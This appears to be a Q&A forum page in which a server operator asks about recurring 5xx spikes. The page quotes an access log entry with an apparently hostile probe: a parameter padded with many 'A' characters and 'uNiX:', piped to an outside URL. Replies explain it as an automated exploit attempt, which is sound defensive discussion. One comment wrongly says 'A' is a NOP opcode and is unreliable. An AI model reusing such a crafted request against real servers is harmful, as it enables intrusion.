0

For the past 2 weeks, I have observed 4-5 spikes in 5xx responses. After looking into the logs, I found a series of:

> 51.159.150.125 - - [16/Sep/2022:06:37:55 +0200] "GET /some-legitimate-page-path/?bb=uNiX:AAAAA...AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|http://freebsd-edgewall-com-ae4e4c5d20.a.paceunit.net HTTP/1.1" 502 150 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.1.2 Safari/605.1.15"

All of them originated from the same IP address. I could easily block the IP from trashing my web server, but I am genuinely interested in the nature of these requests.

Which platform has a request format like this?

Improve this question
1
  • 1
    That looks like a very basic try to exploit a service, bear in mind that the charater A corresponds to a operational code nop in assembler, my guess will be that somebody tries to exploit via binary execution, something on your server on the value of the paramerter bb
    – camp0
    Sep 22, 2022 at 8:53

1 Answer 1

Reset to default
2

That looks like a classic buffer overflow attempt. The long string a A is a common technique. They are trying to exploit something that uses bb as a URL parameter.

Since it costs nothing to program and automate this attempt across the entire Internet, the practice is to try this sort of attack on all servers rather than trying to figure out what a particular server might be vulnerable to.

Improve this answer

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .